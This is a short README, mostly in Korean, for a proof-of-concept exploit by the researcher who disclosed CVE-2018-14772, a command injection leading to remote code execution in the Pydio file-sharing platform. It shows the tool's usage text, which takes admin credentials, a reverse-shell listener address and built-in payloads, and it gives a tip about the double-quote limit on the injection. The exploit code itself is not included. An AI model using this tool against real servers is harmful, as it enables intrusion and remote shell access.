
CVE-2018-14772용 RCE 익스플로잇
이것은 제가 pydio 파일 공유 플랫폼에서 발견한 취약점인 CVE-2018-14772에 대한 PoC 원격 코드 실행 익스플로잇입니다. 실행하려면 pydio 애플리케이션 관리자 자격 증명이 필요합니다. 다음과 같이 익스플로잇을 실행할 수 있습니다:
$ python exploit.py -h
usage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -L LISTENER_IP -P
LISTENER_PORT [--payload PAYLOAD]
[*] exploit some pydio boxes (academically)
optional arguments:
-h, --help show this help message and exit
--payload PAYLOAD one of the pre-built reverse-shell payloads (1, 2, 3, 4,
or 5), or a custom command. keep in mind you can't use
the (") character as it breaks the injection
required arguments:
-t TARGET this is the target URI for the pydio instance..i.e.
http://127.0.0.1:31337/pydio/
-u USERNAME this is the username of the admin user
-p PASSWORD this is the password of the admin user
-L LISTENER_IP IP address to catch reverse shell on
-P LISTENER_PORT port to catch reverse shell on
내장된 몇 가지 리버스 셸 페이로드를 시도해 볼 수 있습니다. 추가로, 즉석에서 만든 사용자 지정 셸 명령을 사용할 수도 있습니다. " 문자를 사용하면 명령 인젝션이 깨지므로, 해당 제한을 우회하여 작업해야 한다는 점을 명심하세요.

제 블로그 여기에서 확인할 수 있습니다.